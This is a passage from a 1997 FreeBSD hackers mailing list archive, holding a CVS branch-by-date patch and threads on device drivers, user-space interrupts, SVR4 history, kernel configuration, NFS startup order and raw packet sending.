RELENG_2_0_5:1.2.0.2 RELENG_2_0_5_BP:1.2 RELENG_2_0_5_ALPHA:1.1.1.1 RELEASE_2_0:1.1.1.1 BETA_2_0:1.1.1.1 ALPHA_2_0:1.1.1.1.0.2 xntp_3_4e:1.1.1.1 udel:1.1.1; when you did: cvs update -j"RELENG2_2:July 1" this_file. because RELENG_2_2 is 1.2.0.6 which has not diverged, but 1.2 DOES have a diverged branch, (the 1.2.4 branch). this made my patch also fail on this file. Though the -j failure is more important because it is the failure of an advertised feature. below find the patch to fix this: Julian Elischer wrote: > > Dear CVS guru's (and freebsd types CC'd), > > By changing the following change: > (big isn't it?) > the following becomes possible: > > cvs checkout -rMY_BRANCH -D"7 days ago" my-module > also > cvs update -rMY_BRANCH -D"May 1" my-module > is also allowable.. > this seems useful to me > In fact I desperatly need this.. > > does anyone know if this is a reasonable thing to do, (or not?) > if you are one of the maintainers I'd definitly like to hear from you, > as if I don't I'll add this change to the FreeBSD CVS mirror, > as we use many branches and not being able to check > them out to a past date is a real pain.. > > better methods are of course just as welcome, > e.g. "-rMY_BRANCH:May 1" would work just as well for me. > > julian@freebsd.org > [previous patch removed] --------------15FB7483794BDF32446B9B3D Content-Type: text/plain; charset=us-ascii; name="xx" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="xx" ? zlib.h ? zconf.h ? update.c.new ? xx Index: rcs.c =================================================================== RCS file: /cvs/freebsd/src/contrib/cvs/src/rcs.c,v retrieving revision 1.12 diff -u -r1.12 rcs.c --- 1.12 1997/08/22 06:57:30 +++ rcs.c 1997/09/20 02:18:35 @@ -1857,9 +1857,9 @@ free (xbranch); if (p == vers->branches->list) { - /* FIXME: This case would seem to imply that the RCS file is - somehow invalid. Should we give an error message? */ - return (NULL); + /* This happens when you have a couple of branches off a revision, + and your branch has not diverged, but another has. */ + return (xstrdup (cur_rev)); } p = findnode (rcs->versions, p->key); Index: update.c =================================================================== RCS file: /cvs/freebsd/src/contrib/cvs/src/update.c,v retrieving revision 1.1.1.4 diff -u -r1.1.1.4 update.c --- 1.1.1.4 1997/06/22 10:55:25 +++ update.c 1997/09/20 02:18:35 @@ -491,7 +491,7 @@ && tag != NULL && finfo->rcs != NULL) { - char *rev = RCS_getversion (finfo->rcs, tag, NULL, 1, NULL); + char *rev = RCS_getversion (finfo->rcs, tag, date, 1, NULL); if (rev != NULL && !RCS_nodeisbranch (finfo->rcs, tag)) nonbranch = 1; --------------15FB7483794BDF32446B9B3D-- From owner-freebsd-hackers Fri Sep 19 19:43:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA27135 for hackers-outgoing; Fri, 19 Sep 1997 19:43:58 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA27128 for ; Fri, 19 Sep 1997 19:43:54 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.7/8.8.5) with SMTP id TAA00317 for ; Fri, 19 Sep 1997 19:42:51 -0700 (PDT) Date: Fri, 19 Sep 1997 19:42:51 -0700 (PDT) From: "Jamil J. Weatherbee" To: freebsd-hackers@freebsd.org Subject: LabPC Driver Questions Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I am looking for someone knowledgable on the LabPC driver (as in example code on using the thing), I also want to write a driver for a similar board from Industrial Computer Source that Daisy chains through multiplexers up to 128 analog channels. In particular most of these boards have change of state interrupts and timed analog scanning. Could I for instance use some of the interval timers to time 1ms intervals (and interrupt) and then the driver would spit a byte out of a open descriptor which through a waiting select() call cause the excution of a specific set of instructions. How hard is it to get a new driver in the source tree? From owner-freebsd-hackers Fri Sep 19 19:50:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA27556 for hackers-outgoing; Fri, 19 Sep 1997 19:50:12 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA27549 for ; Fri, 19 Sep 1997 19:50:08 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.7/8.8.5) with SMTP id TAA00355 for ; Fri, 19 Sep 1997 19:49:07 -0700 (PDT) Date: Fri, 19 Sep 1997 19:49:07 -0700 (PDT) From: "Jamil J. Weatherbee" To: freebsd-hackers@freebsd.org Subject: UserLand Device Driver Thingys Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Why is it so impossible to have an arbitruary interrupt passed to a userland process, very much like a signal? It would be nice to be able to write device drivers that could open sockets and make data available on the network in an arbitruary way. Since interrupts can be cli() in a userland process I don't see much harm in making them available. From owner-freebsd-hackers Fri Sep 19 20:06:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA28510 for hackers-outgoing; Fri, 19 Sep 1997 20:06:22 -0700 (PDT) Received: from spinner.dialix.com.au (spinner.dialix.com.au [202.12.86.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA28503 for ; Fri, 19 Sep 1997 20:06:16 -0700 (PDT) Received: from spinner.dialix.com.au (localhost.dialix.com.au [127.0.0.1]) by spinner.dialix.com.au with ESMTP id LAA23383; Sat, 20 Sep 1997 11:05:18 +0800 (WST) Message-Id: <199709200305.LAA23383@spinner.dialix.com.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Greg Lehey cc: Terry Lambert , nsmart@iona.com, Don.Lewis@tsc.tdk.com, hackers@FreeBSD.ORG Subject: Re: Bug in malloc/free In-reply-to: Your message of "Sat, 20 Sep 1997 09:41:55 +0930." <19970920094155.13744@lemis.com> Date: Sat, 20 Sep 1997 11:05:17 +0800 From: Peter Wemm Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Greg Lehey wrote: > On Fri, Sep 19, 1997 at 11:49:06PM +0000, Terry Lambert wrote: > >>> When a read or write fault occurs on page zero in a program running > >>> on SVR4, rather than crashing, they map the page and note the effect. > > > > [ ... ] > > > >> It's not just incorrect, it's inconsistent. Some SVR4 do, some SVR4 > >> don't. > > > > Sorry dude, but if it's derived from USL sources, it does this, > > unless they've specifically taken it out. > > If you say so. Then they've specifically taken it out. Don't forget the mixed lineage of the SVR4 tree. My memory is a little vague, but as I understand/remember:- - AT&T/USL release a native version on the 3b series of machines. - Intel get hold of it and port it to the 386 (SVR4/386), merging in all the Xenix etc stuff from SVR3. I think this was with the involvement of Interactive but I don't really know. I suspect this port was where the first 'map page zero on demand' behavior happened. Anyway, this was handed back to USL or something. - Meanwhile, motorola were porting the 3b code to the 68000 series (Amiga UNIX was based on the motorola port which "felt" quite different to the SVR4/386 derived code). - Somewhere along the way, the SVR4/386 port was adapted to run on the i860 series (eg: what was used at PCS for the Firebox(?) etc series). - Also, the SVR4/386 code was converted to run on the MIPS series processors (as used in the SVR4 internals book). When I met one of the authors of the book, he had some interesting stories to tell about this. - Meanwhile.. SVR4/386 was being madly polished for retail by the likes of Dell, ESIX, UHC, etc. They were feeding bugs/fixes back to USL too. One of these groups may have been the origin of the 'map page zero on demand' "feature". I know the Dell flavour had it, and I think that ESIX didn't. It may have been Dell that was responsible for submitting it back to USL in between the 2.0 and 3.0 USL SVR4.0/386 releases. - And then... USL took the SVR4.0/386 code, merged in (or had others merge in) various things like SMP, nearly-B1 level security etc and came out with SVR4.2. - And then came unixware, then novell bought USL, then SCO bought novell's unix business including USL and Unixware and now it's supposedly been merged into SVR5 or whatever. Let the games really begin. Anyway, this is definately heading away from freebsd-bugs relevance... > > If so, then they are probably paying a huge royalty increment for > > the priveledge, since you pay more (by a factor of 10) for not being > > exactly their sources for everything but drivers. > > *All* the SVR4 systems I know deviate elsewhere than the drivers. You can say that again... :-) They are quite a mixed breed. They vary more than the *BSD's. :-) However, one thing that still suprises me is how well the ABI had stuck. I was amazed that I could take a program (perforce client and server) dynamically linked for NCR's current x86 SMP system and run it on our old 1993 vintage SVR4.0 system without the slightest hiccup. I suspect this is because the SVR4 libc.so is really a .a file with some of the components (the ABI core) living in libc.so.1, and the rest in statically linked .o objects. I disagree with some of the choices (eg: utmp is outside the ABI, so every program that uses getutent() has a compiled-in knowledge of the utmp format on that system and cannot work on another via a different implementation in libc.so.1.) > Greg Cheers, -Peter From owner-freebsd-hackers Fri Sep 19 20:12:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA28815 for hackers-outgoing; Fri, 19 Sep 1997 20:12:42 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA28807 for ; Fri, 19 Sep 1997 20:12:38 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id MAA22321; Sat, 20 Sep 1997 12:42:35 +0930 (CST) Message-ID: <19970920124235.58941@lemis.com> Date: Sat, 20 Sep 1997 12:42:35 +0930 From: Greg Lehey To: FreeBSD Hackers Subject: How do I check out a snapshot? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I have the CVS tree here on my system, and I know we've just done a snap, but I see nothing in the tree to help me determine where, when or what it is. What do I need to do? Greg From owner-freebsd-hackers Fri Sep 19 21:59:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA03796 for hackers-outgoing; Fri, 19 Sep 1997 21:59:09 -0700 (PDT) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA03791 for ; Fri, 19 Sep 1997 21:59:06 -0700 (PDT) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id VAA16810; Fri, 19 Sep 1997 21:58:38 -0700 (MST) From: Terry Lambert Message-Id: <199709200458.VAA16810@usr02.primenet.com> Subject: Re: Bug in malloc/free To: peter@spinner.dialix.com.au (Peter Wemm) Date: Sat, 20 Sep 1997 04:58:36 +0000 (GMT) Cc: grog@lemis.com, tlambert@primenet.com, nsmart@iona.com, Don.Lewis@tsc.tdk.com, hackers@FreeBSD.ORG In-Reply-To: <199709200305.LAA23383@spinner.dialix.com.au> from "Peter Wemm" at Sep 20, 97 11:05:17 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Don't forget the mixed lineage of the SVR4 tree. My memory is a little > vague, but as I understand/remember:- Heh. Luckily, I have my trusty Tenon Intersystems poster detailing "The Unix Evolution" From the 1990 Washington Uniforum! Here it is, but without the speculative pieces at the end (including the Tenon 1.0 release date, which was hyped); I've also omitted the "feature introductions"... This is vaguely more relevent than the current discussion direction because it lists BSD. Sorry, requires 8 column tabs to save space... 8-). 1966 MIT CTSS | 1965 MULTICS | 1969 UNICS BELL Labs | 1971 UNIX 1st Edition | 1972 UNIX 2nd | 1973 UNIX 3rd | 1975 UNIX 5th | 1976 Rochester 1976 RIG UNIX 6th | ,---------------+-------------------------------. | v | v | 1977 UCB | 1977 AT&T | 1BSD | PWB 1.0 | | | | | 1978 | | | 2BSD | | | ,-------+ | | | | | 1979 1979 | | | UNIX 7th ----------+-------. PWB 3.0 | | | ,-------+ | | | | | | v | | | | | | 1979 1979 | | | | | | 3BSD <- UNIX 32.V | | | | | | | | v | | | | 1980 | 1980 MS | | | | 4BSD | Xenix | | | | | | | | | 1981 CMU | 1981 | | | | Accent v 4.1BSD | | | | | ,-------+-------. | | | | | v | | | | v | | 1982 | | | 1982 1982 AT&T 1982 | 2.8BSD | | | Xenix UNIX III PWB 5.0 | | | | | 3.0 | | | | | | | | | | | | 1982/3 1982/3 Sun | | | | | | 4.1[abc] SunOS | | | | | |<------+ | | | | | | 1983 1983 | 1983 | 1983 1983 | 2.9BSD 4.2BSD | UNIX 8th | SVR1 PWB 5.2 | | | | | |<------x-------+ | | | | | | | | | | +--->1985 | 1985 1985 | | | | SunOS+NFS | SCO Xenix SVR2 | | | | | | ,--x-------+ | | | | | | | | | | 1986 | 1986 | 1986 | | 1986 1986 MACH 1.0 | 4.3BSD | UNIX 9th | | SVR3 PWB 5.3 | | | | | | | | | | | | ,------------' | | | | |<------+ | v | | | | 1987 | | 1987 Apple | | | | 2.10BSD | | A/UX 1.0 | | | | | | | +-. | | | 1988 | | | | 1988 1988 | 4.3tahoe | | | v SVR3.2 PWB 5.4 | +-------x-------x---------------x------>| 1989 | | 1989 | 1989 MACH 2.5 | | A/UX 1.1 | SVR4 =--+-----. | | | | | ,-----= | v | | | | | | | 1990 1990 | 1990 1990 | 1990 OSF | MACH2.6 4.3reno | A/UX 2.0 V/386 3.2 | OSF/1 | Mt.Xinu | | | | | | | | | | | | | Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Sep 19 22:01:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA03993 for hackers-outgoing; Fri, 19 Sep 1997 22:01:47 -0700 (PDT) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA03975 for ; Fri, 19 Sep 1997 22:01:45 -0700 (PDT) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id WAA17151; Fri, 19 Sep 1997 22:01:25 -0700 (MST) From: Terry Lambert Message-Id: <199709200501.WAA17151@usr02.primenet.com> Subject: Re: The IMPORTANCE of real time under freebsd. To: dkelly@hiwaay.net Date: Sat, 20 Sep 1997 05:01:24 +0000 (GMT) Cc: jamil@counterintelligence.ml.org, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199709192348.SAA25757@nospam.hiwaay.net> from "dkelly@hiwaay.net" at Sep 19, 97 06:48:20 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I haven't tried it the way you suggest but PowerMac's come with hardware > and software for speaker independent speech recognition and synthesis, > standard equipment. 1) Activate it 2) Ask "are there any easter eggs?" Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Sep 19 22:08:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA04518 for hackers-outgoing; Fri, 19 Sep 1997 22:08:10 -0700 (PDT) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA04513 for ; Fri, 19 Sep 1997 22:08:08 -0700 (PDT) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id WAA17444; Fri, 19 Sep 1997 22:08:07 -0700 (MST) From: Terry Lambert Message-Id: <199709200508.WAA17444@usr02.primenet.com> Subject: Re: Higher-level kernel config? To: garbanzo@hooked.net (Alex) Date: Sat, 20 Sep 1997 05:08:06 +0000 (GMT) Cc: hackers@FreeBSD.ORG In-Reply-To: from "Alex" at Sep 19, 97 05:15:23 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I'm curious: could there ever be a case where you would not want to > > include a driver for hardware that was actually in your machine? If > > not, then I think dynamic autoconfiguration is the way to go. > > Yes, for instance I have a 3c509 in my system, and Win98 trys to use dhcp > over it automatically, even though at the moment I'm not using an ethernet > network. 1) DHCP is not a driver. 2) Windows 98's (I assume a beta) use of DCHP by default is a configuration error. You should be led through a "setup wizard" instead. Even so, it allows you to "ignore these messages in the future" -- effectively disabling it. 3) Windows 98 is a bad reference anyway; the built-in browser will not connect to https: servers without you paying for a commercial security certificate (unlike IE3.x and NetScape, both of which prompt you to allow the site without a certificate). For example. > Or say if I wanted to use my external modem instead of my > internal without changing my /dev/modem symlink. Ah. Here's your error: /dev should be mounted as devfs, and it should be impossible for you to create symlinks like this. Even so, this is a user configuration option for the terminal/ppp software, not for a system-wide default. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Sep 19 22:09:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA04578 for hackers-outgoing; Fri, 19 Sep 1997 22:09:31 -0700 (PDT) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA04573 for ; Fri, 19 Sep 1997 22:09:29 -0700 (PDT) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id WAA17597; Fri, 19 Sep 1997 22:09:28 -0700 (MST) From: Terry Lambert Message-Id: <199709200509.WAA17597@usr02.primenet.com> Subject: Re: Is there a way to prompt for boot device? To: mrcpu@cdsnet.net (Jaye Mathisen) Date: Sat, 20 Sep 1997 05:09:23 +0000 (GMT) Cc: hackers@FreeBSD.ORG In-Reply-To: from "Jaye Mathisen" at Sep 19, 97 05:50:37 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > ie, my kernel might have sd8 as the root device, but for other reasons, > when I boot, I might want sd0 as the root device. > > I thought the -r or -a options would do it, but that's not quite what I > expected. I've always though the "last mounted" timestamp should be considered for determining which device is root (along with the "last mounted on" directory stored in the superblock). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Sep 19 22:13:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA04786 for hackers-outgoing; Fri, 19 Sep 1997 22:13:16 -0700 (PDT) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA04767; Fri, 19 Sep 1997 22:13:12 -0700 (PDT) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id WAA17696; Fri, 19 Sep 1997 22:12:59 -0700 (MST) From: Terry Lambert Message-Id: <199709200512.WAA17696@usr02.primenet.com> Subject: Re: Bug in malloc/free To: grog@lemis.com (Greg Lehey) Date: Sat, 20 Sep 1997 05:12:58 +0000 (GMT) Cc: tlambert@primenet.com, nsmart@iona.com, Don.Lewis@tsc.tdk.com, hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG In-Reply-To: <19970920094155.13744@lemis.com> from "Greg Lehey" at Sep 20, 97 09:41:55 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > But how can you ship a product that's full of bugs? At a guess? Compete with Microsoft, instead of trying to drive all of the other poor UNIX schmucks out of business instead. Then you can do what Microsoft does. Oh, wait! That would require adherence to standards, and none of these idiotic "value added" "standard plus extensions" things that make it so UNIX from different vendors is not interoperable... forget I said anything. 8-|. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Sep 19 22:17:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA05275 for hackers-outgoing; Fri, 19 Sep 1997 22:17:26 -0700 (PDT) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA05270 for ; Fri, 19 Sep 1997 22:17:24 -0700 (PDT) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id WAA17900; Fri, 19 Sep 1997 22:17:20 -0700 (MST) From: Terry Lambert Message-Id: <199709200517.WAA17900@usr02.primenet.com> Subject: Re: UserLand Device Driver Thingys To: jamil@counterintelligence.ml.org (Jamil J. Weatherbee) Date: Sat, 20 Sep 1997 05:17:19 +0000 (GMT) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: from "Jamil J. Weatherbee" at Sep 19, 97 07:49:07 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Why is it so impossible to have an arbitruary interrupt passed to a > userland process, very much like a signal? It would be nice to be able to > write device drivers that could open sockets and make data available on > the network in an arbitruary way. Since interrupts can be cli() in a > userland process I don't see much harm in making them available. Sorry, CLI and STI are protected instructions in userland. To accomodate what you want, interrupt delivery would have to be virtualized, so that the interrupt is noted an blocked at interrupt level, and then the interrupt is handled and unblocked *not* at interrupt level. This would let you call the "unblock" from a user mode process via a system call (or ioctl, or whatever -- I expect it would be set to handle interrupts, and unblocked, via ioctl to /dev/io). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Sep 19 22:22:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA05758 for hackers-outgoing; Fri, 19 Sep 1997 22:22:41 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA05740; Fri, 19 Sep 1997 22:22:36 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id OAA23761; Sat, 20 Sep 1997 14:52:27 +0930 (CST) Message-ID: <19970920145226.36630@lemis.com> Date: Sat, 20 Sep 1997 14:52:26 +0930 From: Greg Lehey To: Terry Lambert Cc: nsmart@iona.com, Don.Lewis@tsc.tdk.com, hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: Bug in malloc/free References: <19970920094155.13744@lemis.com> <199709200512.WAA17696@usr02.primenet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709200512.WAA17696@usr02.primenet.com>; from Terry Lambert on Sat, Sep 20, 1997 at 05:12:58AM +0000 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, Sep 20, 1997 at 05:12:58AM +0000, Terry Lambert wrote: >> But how can you ship a product that's full of bugs? > > At a guess? > > Compete with Microsoft, instead of trying to drive all of the other > poor UNIX schmucks out of business instead. Then you can do what > Microsoft does. So *that*'s why Tandem has got into bed with Microslop. > Oh, wait! That would require adherence to standards, and none of > these idiotic "value added" "standard plus extensions" things that > make it so UNIX from different vendors is not interoperable... > forget I said anything. 8-|. From owner-freebsd-hackers Fri Sep 19 22:39:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA07944 for hackers-outgoing; Fri, 19 Sep 1997 22:39:21 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id WAA07910 for ; Fri, 19 Sep 1997 22:39:13 -0700 (PDT) Received: (qmail 23820 invoked by uid 1000); 20 Sep 1997 05:39:27 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha-091897 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199709192006.NAA29936@usr03.primenet.com> Date: Fri, 19 Sep 1997 22:39:27 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Terry Lambert Subject: Re: Higher-level kernel config? Cc: hackers@FreeBSD.ORG, (Harlan Stenn) Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Terry Lambert; On 19-Sep-97 you wrote: > > I was just noticing that I have 3 or 4 customized config files here for > > various FreeBSD machines, and that stuff changes in the GENERIC and > > LINT > > files *much* more often than I change hardware in my machines. > > > I'm curious: could there ever be a case where you would not want to > include a driver for hardware that was actually in your machine? If > not, then I think dynamic autoconfiguration is the way to go. Absolutely yes. Consider a test bench machine where there is some known to be bad hardware you may want activated only if you choose to. Auto config is still excellent there. I put an entry in /boot.conf that specifies a deny list, as well as an allow list. Then I allow the boot prompt to specify the file name of the ``boot.conf'' I want related to and presto! A truely managable system. Oh, somewhere along the line, we will make a /boot and throw all these kernels, config files, etc. into that directory, so / looks readable again. --- Sincerely Yours, (Sent on 19-Sep-97, 22:30:39 by XF-Mail) Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 From owner-freebsd-hackers Fri Sep 19 23:55:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA17911 for hackers-outgoing; Fri, 19 Sep 1997 23:55:38 -0700 (PDT) Received: from minor.stranger.com (stranger.vip.best.com [204.156.129.250]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA17901 for ; Fri, 19 Sep 1997 23:55:28 -0700 (PDT) Received: from dog.farm.org (dog.farm.org [207.111.140.47]) by minor.stranger.com (8.8.5/8.6.12) with ESMTP id XAA08510; Fri, 19 Sep 1997 23:20:29 -0700 (PDT) Received: (from dk@localhost) by dog.farm.org (8.7.5/dk#3) id XAA00534; Fri, 19 Sep 1997 23:19:50 -0700 (PDT) Date: Fri, 19 Sep 1997 23:19:50 -0700 (PDT) From: Dmitry Kohmanyuk Message-Id: <199709200619.XAA00534@dog.farm.org> To: grog@lemis.com (Greg Lehey) Cc: freebsd-hackers@freebsd.org Subject: Re: nfs startup Newsgroups: cs-monolit.gated.lists.freebsd.hackers Organization: FARM Computing Association Reply-To: dk+@ua.net X-Newsreader: TIN [version 1.2 PL2] Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In article <19970916105940.15713@lemis.com> you wrote: > On Thu, Sep 04, 1997 at 11:31:48PM +0100, Brian Somers wrote: > > This has to be a dumb question, but I can't fathom it. > > > > /etc/rc sources /etc/rc.network and then runs network_pass1. > > Directly afterwards, it runs ``mount -a -t nfs''. > > > > However, network_pass3 (invoked much later) starts nfsiod along with > > the other nfs stuff. > You don't need nfsiod for mounting, but you do need to resolve the > names. If you're running a name server, I don't think it's reasonable > to expect an /etc/hosts entry for each system you're mounting NFS file > systems from. Unfortunately, named doesn't get started until > network_pass2, so this can't work in a name server environment. You mean that you expect somebody to run named and have this named at the _only_ nameserver available and making this machine NFS client? I don't see this situation as very typical... If there is other name servers on the network, list them in /etc/resolv.conf (and if the network with lots of NFS servers has only one name server, this is much more dangerous situation). OTOH, imagine system which NFS mounts /usr . (named is in /usr ) -- "- Why are we hiding from the police dad? - They use EMACS son. We use vi." --- Peter Gutmann From owner-freebsd-hackers Sat Sep 20 00:13:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA20543 for hackers-outgoing; Sat, 20 Sep 1997 00:13:21 -0700 (PDT) Received: from lafcol (lafcol.lafayette.edu [139.147.8.5]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id AAA20525 for ; Sat, 20 Sep 1997 00:13:18 -0700 (PDT) Received: from bishop by lafcol (SMI-8.6/SMI-SVR4) id DAA12277; Sat, 20 Sep 1997 03:12:29 -0400 Message-Id: <3.0.32.19970920031104.009e9950@lafcol.lafayette.edu> X-Sender: knollm@lafcol.lafayette.edu X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Sat, 20 Sep 1997 03:13:16 -0400 To: hackers@freebsd.org From: Michael Knoll Subject: ::Ethernet card access Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Is there any way to directly ship a packet to an ethernet card? What I want is the ablity to to send a raw packet out on the network. Basically, a berkley packet filter, but rather than getting any packet, sending packets. Is there any way to do this? Well, I guess there must be, so, is there a simple way to do it? Is there a berkley socket type that will allow me to do a send data this way? Thanks. Michael Knoll From owner-freebsd-hackers Sat Sep 20 00:15:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA20821 for hackers-outgoing; Sat, 20 Sep 1997 00:15:05 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA20805 for ; Sat, 20 Sep 1997 00:15:01 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id QAA24595; Sat, 20 Sep 1997 16:44:51 +0930 (CST) Message-ID: <19970920164451.27669@lemis.com> Date: Sat, 20 Sep 1997 16:44:51 +0930 From: Greg Lehey To: dk+@ua.net Cc: freebsd-hackers@freebsd.org Subject: Re: nfs startup References: <199709200619.XAA00534@dog.farm.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: 